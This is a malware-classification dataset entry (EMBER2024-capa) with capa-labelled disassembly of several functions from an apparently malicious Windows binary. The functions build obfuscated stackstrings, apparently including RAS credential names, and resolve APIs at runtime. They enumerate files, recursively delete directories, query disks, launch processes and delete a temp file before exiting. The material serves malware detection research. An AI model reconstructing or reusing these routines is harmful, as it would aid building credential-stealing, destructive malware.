joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402f60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x130
push ebx
push esi
mov esi, ecx
mov bl, 0x65
mov cl, 0x73
mov byte [esp + 0x23], bl
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2d], bl
mov al, 0x61
mov byte [esp + 0x21], cl
mov dl, 0x6c
mov byte [esp + 0x33], cl
mov bl, 0x30
mov byte [esp + 0xa], cl
mov byte [esp + 0x14], cl
mov byte [esp + 0x17], cl
push edi
mov ecx, esi
mov byte [esp + 0x20], 0x4c
mov byte [esp + 0x21], 0x24
mov byte [esp + 0x22], 0x5f
mov byte [esp + 0x23], 0x52
mov byte [esp + 0x24], al
mov byte [esp + 0x26], 0x44
mov byte [esp + 0x28], 0x66
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], 0x75
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x74
mov byte [esp + 0x34], 0x69
mov byte [esp + 0x35], al
mov byte [esp + 0x36], dl
mov byte [esp + 0x38], 0x23
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0
mov byte [esp + 0xc], 0x52
mov byte [esp + 0xd], al
mov byte [esp + 0xf], 0x44
mov byte [esp + 0x10], 0x69
mov byte [esp + 0x11], al
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], 0x50
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x19], 0x21
mov byte [esp + 0x1a], 0x25
mov byte [esp + 0x1c], 0x23
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0
call fcn.00402bf0
push eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [0x4298bc]
add esp, 0xc
lea edx, [esp + 0x3c]
mov ecx, esi
push edx
call fcn.00402d40
mov edi, eax
test edi, edi
je 0x40308c
mov ax, word [edi]
mov ecx, dword [edi + 4]
push eax
push ecx
mov ecx, esi
call fcn.00402dd0
mov edx, dword [edi + 4]
push edx
call fcn.00415254
lea eax, [esp + 0x20]
mov ecx, esi
push eax
call fcn.00402d40
mov edi, eax
test edi, edi
je 0x4030b6
mov cx, word [edi]
mov edx, dword [edi + 4]
push ecx
push edx
mov ecx, esi
call fcn.00402dd0
mov eax, dword [edi + 4]
push eax
call fcn.00415254
pop edi
pop esi
pop ebx
add esp, 0x130
ret
Function at 0x403c50
Capabilities:
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4201b0
push 0x416328
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.004160fc
add esp, 4
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x403de3
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov dword [ebp - 0x1c], esi
cmp byte [ebx], 0x5c
jne 0x403d15
lea eax, [ebx + 1]
cmp byte [eax], 0x5c
jne 0x403d15
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403cf0
cmp al, 0x5c
je 0x403cf0
push esi
call dword [0x4298b8]
mov esi, eax
jmp 0x403cd8
cmp byte [esi], 0
je 0x403cf9
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403d0e
cmp al, 0x5c
je 0x403d0e
push esi
call dword [0x4298b8]
mov esi, eax
jmp 0x403cf6
cmp byte [esi], 0
je 0x403d34
jmp 0x403d30
lea eax, [ebx + 1]
cmp byte [eax], 0x3a
jne 0x403d34
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403d34
cmp al, 0x5c
jne 0x403d34
inc esi
mov dword [ebp - 0x1c], esi
push str.GetLastError
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
mov al, byte [esi]
test al, al
je 0x403da9
cmp al, 0x5c
jne 0x403d9b
mov byte [esi], 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
or edi, 0xffffffff
cmp eax, edi
jne 0x403d83
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403d98
call dword [ebp - 0x28]
cmp eax, 0xb7
jmp 0x403d88
and eax, 0x10
cmp al, 0x10
je 0x403d98
push ebx
call fcn.00416236
add esp, 4
mov dword [ebp - 4], edi
jmp 0x403dea
mov byte [esi], 0x5c
push esi
call dword [0x4298b8]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x403d4e
mov dword [ebp - 4], 0xffffffff
push ebx
call fcn.00416236
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404160
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x784
push ebx
push ebp
lea eax, [esp + 0x12c]
push esi
push eax
mov dword [esp + 0x2c], ecx
push 0x100
mov byte [esp + 0x398], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [0x429cdc]
mov ebx, 1
xor esi, esi
lea ebp, [esp + 0x130]
test bl, al
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
jne 0x4041d2
or al, bl
push str.GetVolumeInformationA
push str.KERNEL32.dll
mov byte [0x429cdc], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x429ce4], eax
mov al, byte [esp + 0x130]
test al, al
je 0x404333
push edi
jmp 0x4041e6
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [0x429ce4]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x429804]
lea edi, [esp + 0x344]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x30]
mov esi, ecx
or ecx, 0xffffffff
inc esi
repne scasb al, byte es:[edi]
mov al, byte [ebp]
mov dword [esp + 0x28], esi
not ecx
cmp al, 0x41
mov dword [esp + 0x14], ecx
je 0x40429c
cmp al, 0x42
je 0x40429c
lea eax, [esp + 0x18]
push 0
lea ecx, [esp + 0x24]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x40429c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.00416430
mov edx, dword [esp + 0x24]
mov edi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.00416430
mov dword [esp + 0x10], eax
jmp 0x4042a2
xor edi, edi
mov dword [esp + 0x10], edi
mov dl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], dl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, esi
mov byte [esp + ebx + 0x395], al
mov eax, dword [esp + 0x10]
mov edx, ecx
mov dword [esp + ebx + 0x396], edi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x28]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x30]
lea edi, [esp + edx + 0x39e]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
mov edi, ebp
add ecx, eax
xor eax, eax
lea ebx, [ebx + ecx + 0xa]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [ecx + ebp + 1]
lea ebp, [ecx + ebp + 1]
test al, al
jne 0x4041e4
pop edi
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x390]
push ebx
push edx
call fcn.00409720
pop esi
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x404350
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov edi, ecx
mov esi, 0x2800
push str.LocalAlloc
push str.KERNEL32.dll
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push 0x40
call eax
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [0x4298bc]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x4043e6
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.00409720
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x4043f6
mov esi, dword [esp + 0x18]
push str.LocalReAlloc
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x404429
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call eax
mov ebp, eax
mov edi, 0x424274
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x40445a
test al, al
je 0x404456
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x40445a
add esi, 2
add edi, 2
test al, al
jne 0x404432
xor eax, eax
jmp 0x40445f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4044fc
mov edi, 0x424270
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x404498
test al, al
je 0x404494
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x404498
add esi, 2
add edi, 2
test al, al
jne 0x404470
xor eax, eax
jmp 0x40449d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4044fc
mov al, byte [esp + 0x20]
lea edi, [esp + 0x4c]
and al, 0x10
or ecx, 0xffffffff
mov byte [ebx + ebp], al
xor eax, eax
inc ebx
lea esi, [esp + 0x4c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebx + ebp]
mov eax, ecx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4043f2
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.00409720
push str.LocalFree
push str.KERNEL32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
call eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x404560
Capabilities:
Delete directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x450
lea eax, [esp + 0x34c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x460]
push edi
mov edi, dword [0x4298bc]
push esi
push str._s.
mov ebp, ecx
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x14]
lea edx, [esp + 0x35c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4045b5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x450
ret 4
push str.DeleteFileA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x10], eax
cmp byte [esp + 0x40], 0x2e
je 0x404628
mov edx, dword [esp + 0x14]
xor eax, eax
test edx, edx
lea ecx, [esp + 0x40]
sete al
push ecx
push esi
test al, 0x10
push 0x42413c
je 0x40460c
lea edx, [esp + 0x160]
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x154]
push eax
call dword [esp + 0x14]
jmp 0x404628
lea edx, [esp + 0x264]
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x258]
mov ecx, ebp
push eax
call fcn.00404560
lea ecx, [esp + 0x14]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4045d0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x450
ret 4
Function at 0x404660
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
mov esi, ecx
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x20], esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
lea edx, [esi + 0x20]
mov dword [esp + 0x10], eax
mov ecx, 0x41
xor eax, eax
mov edi, edx
push str.CreateFileA
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.KERNEL32.dll
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
push eax
call ebp
mov ecx, dword [esp + 0x20]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x4046f4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret 4
push str.GetFileSize
push str.KERNEL32.dll
call ebx
push eax
call ebp
lea edx, [esp + 0x14]
push edx
push edi
call eax
push edi
mov esi, eax
call dword [esp + 0x14]
mov edi, dword [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
push str.LocalAlloc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.KERNEL32.dll
mov ebp, ecx
add ebp, 0xa
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
push 0x40
call eax
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push str.LocalFree
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push str.KERNEL32.dll
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x1c]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x28]
mov dword [ebx + 1], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, ecx
lea edi, [ebx + 9]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x18]
push ebp
push ebx
mov esi, eax
call fcn.00409720
push ebx
mov edi, eax
call esi
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x4047c0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, ecx
push edi
mov eax, dword [esi + 4]
mov dword [esp + 0x14], ebp
cmp eax, 0xffffffff
jne 0x4047ea
call fcn.00404900
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateFileA
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0
push 0x80
push 3
push 0
push 1
add ebp, 0x20
push 0x80000000
push ebp
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x404830
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 8
ret 4
push str.SetFilePointer
push str.KERNEL32.dll
call edi
push eax
call ebx
mov ecx, dword [esi + 4]
push 0
push esi
push ecx
push ebp
call eax
push str.LocalAlloc
push str.KERNEL32.dll
mov dword [esp + 0x18], 0
call edi
push eax
call ebx
push 0x2000
push 0x40
call eax
mov esi, eax
mov eax, dword [esp + 0x1c]
push str.ReadFile
push str.KERNEL32.dll
mov byte [esi], 0x6a
mov edx, dword [eax]
mov dword [esi + 1], edx
mov eax, dword [eax + 4]
mov dword [esi + 5], eax
call edi
push eax
call ebx
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esi + 9]
push 0x1ff7
push edx
push ebp
call eax
push str.CloseHandle
push str.KERNEL32.dll
call edi
push eax
call ebx
push ebp
call eax
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x4048cb
mov ecx, dword [esp + 0x14]
add eax, 9
push eax
push esi
call fcn.00409720
mov ebp, eax
jmp 0x4048d8
mov ecx, dword [esp + 0x14]
call fcn.00404900
mov ebp, dword [esp + 0x1c]
push str.LocalFree
push str.KERNEL32.dll
call edi
push eax
call ebx
push esi
call eax
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
Function at 0x404ab0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x41f3fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x46c
push ebp
push esi
mov dword [esp + 8], ecx
push edi
mov esi, dword [esp + 0x488]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x270]
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0x5c
je 0x404b05
mov edi, 0x4242e0
mov dword [esp + 0x14], edi
jmp 0x404b11
mov dword [esp + 0x14], 0x429cd8
mov edi, dword [esp + 0x14]
mov ebp, dword [0x4298bc]
push edi
push esi
lea eax, [esp + 0x278]
push str._s_s.
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x270]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
jne 0x404b4e
xor al, al
jmp 0x404cc3
push ebx
xor ebx, ebx
cmp byte [esp + 0x5c], 0x2e
je 0x404c9d
test byte [esp + 0x30], 0x10
lea eax, [esp + 0x5c]
push eax
push edi
push esi
push str._s_s_s
je 0x404b92
lea ecx, [esp + 0x388]
push ecx
call ebp
mov ecx, dword [esp + 0x24]
add esp, 0x14
lea edx, [esp + 0x378]
push edx
call fcn.00404ab0
jmp 0x404c9d
lea ecx, [esp + 0x180]
push ecx
call ebp
lea edi, [esp + 0x184]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
mov dl, byte [esp + 0x17]
push 1
not ecx
dec ecx
mov byte [esp + 0x20], dl
mov ebp, ecx
lea ecx, [esp + 0x20]
push ebp
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00405290
test al, al
je 0x404bfc
mov edi, dword [esp + 0x20]
mov ecx, ebp
mov eax, ecx
lea esi, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x24], ebp
mov byte [ecx + ebp], bl
mov edx, dword [esp + 0x10]
push 0x18
mov dword [esp + 0x488], ebx
mov esi, dword [edx + 0x14]
mov edi, dword [esi + 4]
call fcn.00415686
add esp, 4
cmp esi, ebx
mov ecx, esi
jne 0x404c1f
mov ecx, eax
mov dword [eax], ecx
cmp edi, ebx
mov ecx, edi
jne 0x404c29
mov ecx, eax
mov dword [eax + 4], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
mov dword [ecx], eax
lea ecx, [esp + 0x1c]
add eax, 8
push ecx
push eax
call fcn.004054e0
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esp + 0x484], 0xffffffff
mov edx, dword [eax + 0x18]
inc edx
mov dword [eax + 0x18], edx
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x404c80
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x404c77
cmp al, 0xff
je 0x404c77
dec al
mov byte [ecx], al
jmp 0x404c80
push ecx
call fcn.00415694
add esp, 4
mov esi, dword [esp + 0x48c]
mov edi, dword [esp + 0x18]
mov ebp, dword [0x4298bc]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404b51
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop ebx
mov ecx, dword [esp + 0x478]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x478
ret 4
Function at 0x405f70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x74
push esi
push edi
mov edi, dword [esp + 0x80]
push 0x2f
push edi
call fcn.00416400
mov esi, eax
add esp, 8
inc esi
jne 0x405f94
pop edi
xor al, al
pop esi
add esp, 0x74
ret
push esi
push edi
call fcn.0040e220
add esp, 8
test al, al
jne 0x405fa8
pop edi
pop esi
add esp, 0x74
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x3c]
mov dl, 0x74
rep stosd dword es:[edi], eax
mov eax, 0x44
mov cl, 0x61
mov dword [esp + 0x38], eax
mov byte [esp + 0x20], al
mov al, 0x65
lea edi, [esp + 0x18]
mov byte [esp + 0x21], al
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x12], al
mov al, 0x73
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x13], al
mov byte [esp + 0x14], al
lea eax, [esp + 8]
mov byte [esp + 0x19], 0x69
push eax
push str.KERNEL32.dll
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x53
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], 0x30
mov byte [esp + 0x27], 0x5c
mov byte [esp + 0x2a], 0x66
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0
mov dword [esp + 0x48], edi
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], dl
mov byte [esp + 0x16], 0x50
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x63
mov byte [esp + 0x1d], 0x41
mov byte [esp + 0x1e], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x38]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Oath
push esi
call eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x74
ret
Function at 0x408bd0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
sub esp, 0x120
push ebx
mov al, 0x57
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov byte [esp + 0xf], al
mov byte [esp + 0x14], al
mov cl, 0x5c
mov bl, 0x65
mov dl, 0x6d
mov al, 0x70
push str.DeleteFileA
push str.KERNEL32.dll
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x3a
mov byte [esp + 0x16], cl
mov byte [esp + 0x18], 0x49
mov byte [esp + 0x19], 0x4e
mov byte [esp + 0x1a], 0x44
mov byte [esp + 0x1b], 0x4f
mov byte [esp + 0x1d], 0x53
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x54
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x48
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetModuleFileNameA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0xc]
push eax
call ebx
lea ecx, [esp + 0x28]
push 0x104
push ecx
push 0
call esi
lea edx, [esp + 0xc]
lea eax, [esp + 0x28]
push edx
push eax
call fcn.0041644f
add esp, 8
push 0
call fcn.0041681b
pop edi
pop esi
pop ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop